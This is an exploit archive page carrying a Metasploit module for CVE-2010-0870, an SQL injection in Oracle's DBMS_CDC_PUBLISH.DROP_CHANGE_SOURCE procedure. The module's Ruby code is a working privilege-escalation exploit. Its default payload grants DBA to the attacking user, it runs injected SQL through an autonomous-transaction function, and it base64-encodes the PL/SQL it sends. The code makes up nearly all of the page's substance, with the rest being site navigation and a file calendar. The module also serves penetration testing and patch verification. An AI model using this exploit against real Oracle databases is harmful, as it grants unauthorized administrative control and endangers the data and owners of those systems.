what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle DB SQL Injection Via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE

Oracle DB SQL Injection Via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege on the vulnerable package can exploit this vulnerability. By default, users granted EXECUTE_CATALOG_ROLE have the required privilege.

tags | exploit, sql injection
advisories | CVE-2010-0870
SHA-256 | 7e5369ebdc4bfc61aa262475859d683b00bf47b5e34f9da7b3872e8242c9834c

Oracle DB SQL Injection Via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',
'Description' => %q{
The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
on the vulnerable package can exploit this vulnerability. By default, users granted
EXECUTE_CATALOG_ROLE have the required privilege.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0870' ],
[ 'OSVDB', '63772'],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]
],
'DisclosureDate' => '2010-04-26'))

register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
])
end

def run
return if not check_dependencies

name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;
"

package = "
BEGIN
SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');
END;
"

uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package)

encoded_sql = %Q|
DECLARE
#{var1} VARCHAR2(32767);
#{var2} VARCHAR2(32767);
BEGIN
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{var1};
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{var2};
END;
|

print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")
prepare_exec(encoded_sql)
print_status("Done...")

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close